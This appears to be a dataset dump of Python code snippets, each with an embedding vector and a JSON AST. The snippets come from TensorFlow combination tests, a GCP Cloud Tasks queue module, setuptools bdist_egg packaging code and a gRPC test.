"adam")]), OrderedDict([("distribution", "d2"), ("mode", "eager"), ("optimizer", "gd")]) ], c4) self.assertEqual( combinations.combine( mode=["graph", "eager"], optimizer=["adam", "gd"], distribution=["d1", "d2"]), c4) def test_overlapping_keys(self): c1 = combinations.combine(mode=["graph"], loss=["callable", "tensor"]) c2 = combinations.combine(mode=["eager"], loss=["callable"]) with self.assertRaisesRegexp(ValueError, ".*Keys.+overlap.+"): _ = combinations.times(c1, c2)
812
[ 0.009416121058166027, 0.027051521465182304, 0.022764038294553757, 0.014208297245204449, 0.019582070410251617, 0.0011680027237161994, 0.01304510049521923, -0.03162740170955658, 0.000026192192308371887, 0.06017857789993286, -0.02280249074101448, -0.023590771481394768, -0.005542004946619272, ...
9
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def __init__(self, **kwargs): defaults = dict( icon='calendar', validators=[optional()], widget_classes="form-control" ) defaults.update(kwargs) super(Date, self).__init__(**defaults)
813
[ 0.03879990056157112, -0.0437694787979126, 0.047383714467287064, -0.04996151849627495, -0.005604061298072338, 0.029445406049489975, 0.02354569360613823, 0.03861387446522713, 0.01860269345343113, 0.056552186608314514, -0.016476670280098915, -0.04020839184522629, 0.028541846200823784, 0.00709...
9
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null, "value": "mode"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "eager"}}]}}]}}], "func": {"_type": "Name", "_fields": {"id": "OrderedDict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}]}}, {"_type": "Name", "_fields": {"id": "c4", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "assertEqual", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "name": "test_times", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def test_times(self): c1 = combinations.combine(mode=["graph"], loss=["callable", "tensor"]) c2 = combinations.combine(mode=["eager"], loss=["callable"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1 + c2) self.assertEqual([ OrderedDict([("distribution", "d1"), ("loss", "callable"), ("mode", "graph")]), OrderedDict([("distribution", "d1"), ("loss", "tensor"), ("mode", "graph")]), OrderedDict([("distribution", "d1"), ("loss", "callable"), ("mode", "eager")]), OrderedDict([("distribution", "d2"), ("loss", "callable"), ("mode", "graph")]), OrderedDict([("distribution", "d2"), ("loss", "tensor"), ("mode", "graph")]), OrderedDict([("distribution", "d2"), ("loss", "callable"), ("mode", "eager")]) ], c4)
814
[ 0.020723968744277954, -0.049775052815675735, 0.04517754539847374, -0.04447384551167488, 0.013124006800353527, 0.012830798514187336, 0.02432456612586975, 0.02237766422331333, 0.03926646709442139, 0.042714595794677734, -0.04381705820560455, -0.048883698880672455, -0.01775669865310192, -0.005...
9
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def test_add(self): self.assertEqual( [{ "a": 1 }, { "a": 2 }, { "b": 2 }, { "b": 3 }], combinations.combine(a=[1, 2]) + combinations.combine(b=[2, 3]))
815
[ 0.012323458679020405, -0.04687564820051193, 0.04076042026281357, -0.024251636117696762, -0.003923742566257715, -0.009655313566327095, 0.0034935842268168926, 0.020694110542535782, 0.0350404754281044, 0.012288580648601055, -0.015450826846063137, -0.0531071312725544, -0.0029166487511247396, -...
9
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"type_params": [], "type_comment": null, "decorator_list": []}}, {"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "a", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "b", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "c", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [{"_type": "Constant", "_fields": {"kind": null, "value": 0}}, {"_type": "Constant", "_fields": {"kind": null, "value": 0}}, {"_type": "Constant", "_fields": {"kind": null, "value": 0}}], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Delete", "_fields": {"targets": [{"_type": "Name", "_fields": {"id": "a", "ctx": {"_type": "Del", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "b", "ctx": {"_type": "Del", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "c", "ctx": {"_type": "Del", "_fields": {}}}}]}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "fail", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "name": "_test_but_private", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}, {"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": 0}}, "targets": [{"_type": "Name", "_fields": {"id": "test_member", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}], "name": "CombineTheTestSuite", "bases": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "TestCase", "value": {"_type": "Name", "_fields": {"id": "parameterized", "ctx": {"_type": "Load", "_fields": {}}}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class CombineTheTestSuite(parameterized.TestCase): def test_add_things(self, a, b, c): self.assertLessEqual(3, a + b + c) self.assertLessEqual(a + b + c, 5) def test_add_things_one_more(self, a, b, c): self.assertLessEqual(3, a + b + c) self.assertLessEqual(a + b + c, 5) def not_a_test(self, a=0, b=0, c=0): del a, b, c self.fail() def _test_but_private(self, a=0, b=0, c=0): del a, b, c self.fail() # Check that nothing funny happens to a non-callable that starts with "_test". test_member = 0
816
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9
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null, "value": "d1"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "d2"}}]}}}}]}}, {"_type": "Name", "_fields": {"id": "c4", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "assertEqual", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "name": "test_times_variable_arguments", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def test_times_variable_arguments(self): c1 = combinations.combine(mode=["graph", "eager"]) c2 = combinations.combine(optimizer=["adam", "gd"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1, c2) self.assertEqual([ OrderedDict([("distribution", "d1"), ("mode", "graph"), ("optimizer", "adam")]), OrderedDict([("distribution", "d1"), ("mode", "graph"), ("optimizer", "gd")]), OrderedDict([("distribution", "d1"), ("mode", "eager"), ("optimizer", "adam")]), OrderedDict([("distribution", "d1"), ("mode", "eager"), ("optimizer", "gd")]), OrderedDict([("distribution", "d2"), ("mode", "graph"), ("optimizer", "adam")]), OrderedDict([("distribution", "d2"), ("mode", "graph"), ("optimizer", "gd")]), OrderedDict([("distribution", "d2"), ("mode", "eager"), ("optimizer", "adam")]), OrderedDict([("distribution", "d2"), ("mode", "eager"), ("optimizer", "gd")]) ], c4) self.assertEqual( combinations.combine( mode=["graph", "eager"], optimizer=["adam", "gd"], distribution=["d1", "d2"]), c4)
817
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11
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"Name", "_fields": {"id": "module", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "msg", "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": "Invalid JSON response with error: %s"}}, "right": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "text", "value": {"_type": "Name", "_fields": {"id": "response", "ctx": {"_type": "Load", "_fields": {}}}}}}}}}}]}}}}], "name": null, "type": {"_type": "Call", "_fields": {"args": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "decoder", "value": {"_type": "Name", "_fields": {"id": "json", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "Constant", "_fields": {"kind": null, "value": "JSONDecodeError"}}, {"_type": "Name", "_fields": {"id": "ValueError", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Name", "_fields": {"id": "getattr", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "finalbody": []}}, {"_type": "If", "_fields": {"body": [{"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "fail_json", "value": {"_type": "Name", "_fields": {"id": "module", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "msg", "value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "result", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {"kind": null, "value": "error"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "errors"}}]}}], "func": {"_type": "Name", "_fields": {"id": "navigate_hash", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}]}}}}], "test": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "result", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {"kind": null, "value": "error"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "errors"}}]}}], "func": {"_type": "Name", "_fields": {"id": "navigate_hash", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "orelse": []}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "result", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "return_if_object", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def return_if_object(module, response, allow_not_found=False): # If not found, return nothing. if allow_not_found and response.status_code == 404: return None # If no content, return nothing. if response.status_code == 204: return None try: module.raise_for_status(response) result = response.json() except getattr(json.decoder, 'JSONDecodeError', ValueError): module.fail_json(msg="Invalid JSON response with error: %s" % response.text) if navigate_hash(result, ['error', 'errors']): module.fail_json(msg=navigate_hash(result, ['error', 'errors'])) return result
818
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12
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{"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Store", "_fields": {}}}}]}}, "type_comment": null}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "return_vals", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "resource_to_request", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def resource_to_request(module): request = { u'name': name_pattern(module.params.get('name'), module), u'appEngineRoutingOverride': QueueAppengineroutingoverride(module.params.get('app_engine_routing_override', {}), module).to_request(), u'rateLimits': QueueRatelimits(module.params.get('rate_limits', {}), module).to_request(), u'retryConfig': QueueRetryconfig(module.params.get('retry_config', {}), module).to_request(), } return_vals = {} for k, v in request.items(): if v or v is False: return_vals[k] = v return return_vals
819
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9
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def name_pattern(name, module): if name is None: return regex = r"projects/.*/locations/.*/queues/.*" if not re.match(regex, name): name = "projects/{project}/locations/{location}/queues/{name}".format(**module.params) return name
820
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11
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{"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "name": "start", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}, {"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "module", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "Constant", "_fields": {"kind": null, "value": "cloudtasks"}}], "func": {"_type": "Name", "_fields": {"id": "GcpSession", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "targets": [{"_type": "Name", "_fields": {"id": "auth", "ctx": {"_type": "Store", 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"type_params": [], "type_comment": null, "decorator_list": []}}, {"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "format", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "https://cloudtasks.googleapis.com/v2/projects/{project}/locations/{location}/queues/{name}:resume"}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": null, "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "params", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "module", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}}}]}}}}], "name": "_start_url", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}, {"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "format", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "https://cloudtasks.googleapis.com/v2/projects/{project}/locations/{location}/queues/{name}:pause"}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": null, "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "params", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "module", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}}}]}}}}], "name": "_stop_url", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "QueueStatus", "bases": [{"_type": "Name", "_fields": {"id": "object", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class QueueStatus(object): def __init__(self, module, current_status): self.module = module self.current_status = current_status self.desired_status = self.module.params.get('status') def run(self): # GcpRequest handles unicode text handling if GcpRequest({'status': self.current_status}) == GcpRequest({'status': self.desired_status}): return elif self.desired_status == 'PAUSED': self.stop() elif self.desired_status == 'RUNNING': self.start() def start(self): auth = GcpSession(self.module, 'cloudtasks') return_if_object(self.module, auth.post(self._start_url())) def stop(self): auth = GcpSession(self.module, 'cloudtasks') return_if_object(self.module, auth.post(self._stop_url())) def _start_url(self): return "https://cloudtasks.googleapis.com/v2/projects/{project}/locations/{location}/queues/{name}:resume".format(**self.module.params) def _stop_url(self): return "https://cloudtasks.googleapis.com/v2/projects/{project}/locations/{location}/queues/{name}:pause".format(**self.module.params)
821
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10
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def run(self): # GcpRequest handles unicode text handling if GcpRequest({'status': self.current_status}) == GcpRequest({'status': self.desired_status}): return elif self.desired_status == 'PAUSED': self.stop() elif self.desired_status == 'RUNNING': self.start()
822
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11
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"_fields": {"id": "remove_nones_from_dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "name": "from_response", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "QueueAppengineroutingoverride", "bases": [{"_type": "Name", "_fields": {"id": "object", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class QueueAppengineroutingoverride(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( {u'service': self.request.get('service'), u'version': self.request.get('version'), u'instance': self.request.get('instance')} ) def from_response(self): return remove_nones_from_dict( {u'service': self.request.get(u'service'), u'version': self.request.get(u'version'), u'instance': self.request.get(u'instance')} )
823
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11
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"func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "get", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "request", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": "u", "value": "maxRetryDuration"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "get", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "request", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": "u", "value": "minBackoff"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "get", "value": {"_type": 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"self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}]}}], "func": {"_type": "Name", "_fields": {"id": "remove_nones_from_dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "name": "from_response", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "QueueRetryconfig", "bases": [{"_type": "Name", "_fields": {"id": "object", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class QueueRetryconfig(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get('max_attempts'), u'maxRetryDuration': self.request.get('max_retry_duration'), u'minBackoff': self.request.get('min_backoff'), u'maxBackoff': self.request.get('max_backoff'), u'maxDoublings': self.request.get('max_doublings'), } ) def from_response(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get(u'maxAttempts'), u'maxRetryDuration': self.request.get(u'maxRetryDuration'), u'minBackoff': self.request.get(u'minBackoff'), u'maxBackoff': self.request.get(u'maxBackoff'), u'maxDoublings': self.request.get(u'maxDoublings'), } )
824
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11
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"Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}]}}], "func": {"_type": "Name", "_fields": {"id": "remove_nones_from_dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "name": "from_response", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "QueueRatelimits", "bases": [{"_type": "Name", "_fields": {"id": "object", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class QueueRatelimits(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( { u'maxDispatchesPerSecond': self.request.get('max_dispatches_per_second'), u'maxConcurrentDispatches': self.request.get('max_concurrent_dispatches'), } ) def from_response(self): return remove_nones_from_dict( {u'maxDispatchesPerSecond': self.request.get(u'maxDispatchesPerSecond'), u'maxConcurrentDispatches': self.request.get(u'maxConcurrentDispatches')} )
825
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10
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def to_request(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get('max_attempts'), u'maxRetryDuration': self.request.get('max_retry_duration'), u'minBackoff': self.request.get('min_backoff'), u'maxBackoff': self.request.get('max_backoff'), u'maxDoublings': self.request.get('max_doublings'), } )
826
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10
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def from_response(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get(u'maxAttempts'), u'maxRetryDuration': self.request.get(u'maxRetryDuration'), u'minBackoff': self.request.get(u'minBackoff'), u'maxBackoff': self.request.get(u'maxBackoff'), u'maxDoublings': self.request.get(u'maxDoublings'), } )
827
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{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "resource", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "pyfile", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "lstrip", "value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "\n def __bootstrap__():\n global __bootstrap__, __loader__, __file__\n import sys, pkg_resources, imp\n __file__ = pkg_resources.resource_filename(__name__, %r)\n __loader__ = None; del __bootstrap__, __loader__\n imp.load_dynamic(__name__,__file__)\n __bootstrap__()\n "}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "dedent", "value": {"_type": "Name", "_fields": {"id": "textwrap", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, "keywords": []}}, "targets": [{"_type": "Name", "_fields": {"id": "_stub_template", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "With", "_fields": {"body": [{"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Name", "_fields": {"id": "_stub_template", "ctx": {"_type": "Load", "_fields": {}}}}, "right": {"_type": "Name", "_fields": {"id": "resource", "ctx": {"_type": "Load", "_fields": {}}}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "write", "value": {"_type": "Name", "_fields": {"id": "f", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "items": [{"_type": "withitem", "_fields": {"context_expr": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "pyfile", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Constant", "_fields": {"kind": null, "value": "w"}}], "func": {"_type": "Name", "_fields": {"id": "open", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "optional_vars": {"_type": "Name", "_fields": {"id": "f", "ctx": {"_type": "Store", "_fields": {}}}}}}], "type_comment": null}}], "name": "write_stub", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def write_stub(resource, pyfile): _stub_template = textwrap.dedent(""" def __bootstrap__(): global __bootstrap__, __loader__, __file__ import sys, pkg_resources, imp __file__ = pkg_resources.resource_filename(__name__, %r) __loader__ = None; del __bootstrap__, __loader__ imp.load_dynamic(__name__,__file__) __bootstrap__() """).lstrip() with open(pyfile, 'w') as f: f.write(_stub_template % resource)
828
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def finalize_options(self): ei_cmd = self.ei_cmd = self.get_finalized_command("egg_info") self.egg_info = ei_cmd.egg_info if self.bdist_dir is None: bdist_base = self.get_finalized_command('bdist').bdist_base self.bdist_dir = os.path.join(bdist_base, 'egg') if self.plat_name is None: self.plat_name = get_build_platform() self.set_undefined_options('bdist', ('dist_dir', 'dist_dir')) if self.egg_output is None: # Compute filename of the output egg basename = Distribution( None, None, ei_cmd.egg_name, ei_cmd.egg_version, get_python_version(), self.distribution.has_ext_modules() and self.plat_name ).egg_name() self.egg_output = os.path.join(self.dist_dir, basename + '.egg')
829
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def do_install_data(self): # Hack for packages that install data to install's --install-lib self.get_finalized_command('install').install_lib = self.bdist_dir site_packages = os.path.normcase(os.path.realpath(_get_purelib())) old, self.distribution.data_files = self.distribution.data_files, [] for item in old: if isinstance(item, tuple) and len(item) == 2: if os.path.isabs(item[0]): realpath = os.path.realpath(item[0]) normalized = os.path.normcase(realpath) if normalized == site_packages or normalized.startswith( site_packages + os.sep ): item = realpath[len(site_packages) + 1:], item[1] # XXX else: raise ??? self.distribution.data_files.append(item) try: log.info("installing package data to %s", self.bdist_dir) self.call_command('install_data', force=0, root=None) finally: self.distribution.data_files = old
830
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11
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def run(self): # Generate metadata first self.run_command("egg_info") # We run install_lib before install_data, because some data hacks # pull their data path from the install_lib command. log.info("installing library code to %s", self.bdist_dir) instcmd = self.get_finalized_command('install') old_root = instcmd.root instcmd.root = None if self.distribution.has_c_libraries() and not self.skip_build: self.run_command('build_clib') cmd = self.call_command('install_lib', warn_dir=0) instcmd.root = old_root all_outputs, ext_outputs = self.get_ext_outputs() self.stubs = [] to_compile = [] for (p, ext_name) in enumerate(ext_outputs): filename, ext = os.path.splitext(ext_name) pyfile = os.path.join(self.bdist_dir, strip_module(filename) + '.py') self.stubs.append(pyfile) log.info("creating stub loader for %s", ext_name) if not self.dry_run: write_stub(os.path.basename(ext_name), pyfile) to_compile.append(pyfile) ext_outputs[p] = ext_name.replace(os.sep, '/') if to_compile: cmd.byte_compile(to_compile) if self.distribution.data_files: self.do_install_data() # Make the EGG-INFO directory archive_root = self.bdist_dir egg_info = os.path.join(archive_root, 'EGG-INFO') self.mkpath(egg_info) if self.distribution.scripts: script_dir = os.path.join(egg_info, 'scripts') log.info("installing scripts to %s", script_dir) self.call_command('install_scripts', install_dir=script_dir, no_ep=1) self.copy_metadata_to(egg_info) native_libs = os.path.join(egg_info, "native_libs.txt") if all_outputs: log.info("writing %s", native_libs) if not self.dry_run: ensure_directory(native_libs) libs_file = open(native_libs, 'wt') libs_file.write('\n'.join(all_outputs)) libs_file.write('\n') libs_file.close() elif os.path.isfile(native_libs): log.info("removing %s", native_libs) if not self.dry_run: os.unlink(native_libs) write_safety_flag( os.path.join(archive_root, 'EGG-INFO'), self.zip_safe() ) if os.path.exists(os.path.join(self.egg_info, 'depends.txt')): log.warn( "WARNING: 'depends.txt' will not be used by setuptools 0.6!\n" "Use the install_requires/extras_require setup() args instead." ) if self.exclude_source_files: self.zap_pyfiles() # Make the archive make_zipfile(self.egg_output, archive_root, verbose=self.verbose, dry_run=self.dry_run, mode=self.gen_header()) if not self.keep_temp: remove_tree(self.bdist_dir, dry_run=self.dry_run) # Add to 'Distribution.dist_files' so that the "upload" command works getattr(self.distribution, 'dist_files', []).append( ('bdist_egg', get_python_version(), self.egg_output))
831
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10
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"name": "gen_header", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def gen_header(self): epm = EntryPoint.parse_map(self.distribution.entry_points or '') ep = epm.get('setuptools.installation', {}).get('eggsecutable') if ep is None: return 'w' # not an eggsecutable, do it the usual way. if not ep.attrs or ep.extras: raise DistutilsSetupError( "eggsecutable entry point (%r) cannot have 'extras' " "or refer to a module" % (ep,) ) pyver = sys.version[:3] pkg = ep.module_name full = '.'.join(ep.attrs) base = ep.attrs[0] basename = os.path.basename(self.egg_output) header = ( "#!/bin/sh\n" 'if [ `basename $0` = "%(basename)s" ]\n' 'then exec python%(pyver)s -c "' "import sys, os; sys.path.insert(0, os.path.abspath('$0')); " "from %(pkg)s import %(base)s; sys.exit(%(full)s())" '" "$@"\n' 'else\n' ' echo $0 is not the correct name for this egg file.\n' ' echo Please rename it back to %(basename)s and try again.\n' ' exec false\n' 'fi\n' ) % locals() if not self.dry_run: mkpath(os.path.dirname(self.egg_output), dry_run=self.dry_run) f = open(self.egg_output, 'w') f.write(header) f.close() return 'a'
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def zap_pyfiles(self): log.info("Removing .py files from temporary directory") for base, dirs, files in walk_egg(self.bdist_dir): for name in files: if name.endswith('.py'): path = os.path.join(base, name) log.debug("Deleting %s", path) os.unlink(path)
833
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def write_safety_flag(egg_dir, safe): # Write or remove zip safety flag file(s) for flag, fn in safety_flags.items(): fn = os.path.join(egg_dir, fn) if os.path.exists(fn): if safe is None or bool(safe) != flag: os.unlink(fn) elif safe is not None and bool(safe) == flag: f = open(fn, 'wt') f.write('\n') f.close()
834
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def analyze_egg(egg_dir, stubs): # check for existing flag in EGG-INFO for flag, fn in safety_flags.items(): if os.path.exists(os.path.join(egg_dir, 'EGG-INFO', fn)): return flag if not can_scan(): return False safe = True for base, dirs, files in walk_egg(egg_dir): for name in files: if name.endswith('.py') or name.endswith('.pyw'): continue elif name.endswith('.pyc') or name.endswith('.pyo'): # always scan, even if we already know we're not safe safe = scan_module(egg_dir, base, name, stubs) and safe return safe
835
[ 0.053572311997413635, 0.07236794382333755, 0.04324425756931305, -0.04002419486641884, -0.01599298231303692, -0.015921425074338913, -0.0026073569897562265, -0.0020662073511630297, -0.03129424527287483, -0.008789580315351486, 0.006314902100712061, 0.03718576952815056, 0.006845616269856691, -...
11
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def visit(z, dirname, names): for name in names: path = os.path.normpath(os.path.join(dirname, name)) if os.path.isfile(path): p = path[len(base_dir) + 1:] if not dry_run: z.write(path, p) log.debug("adding '%s'", p)
836
[ -0.019893916323781013, 0.0002740699565038085, 0.020322930067777634, -0.011454630643129349, 0.0048386468552052975, -0.013091006316244602, -0.005509744863957167, 0.03412486985325813, 0.05018218979239464, 0.008794753812253475, 0.013716138899326324, -0.0460391566157341, -0.0183249581605196, -0...
11
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def testSuccessfulUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() response, call = self._invoker.blocking(group, method)( request, test_constants.LONG_TIMEOUT, with_call=True) test_messages.verify(request, response, self)
837
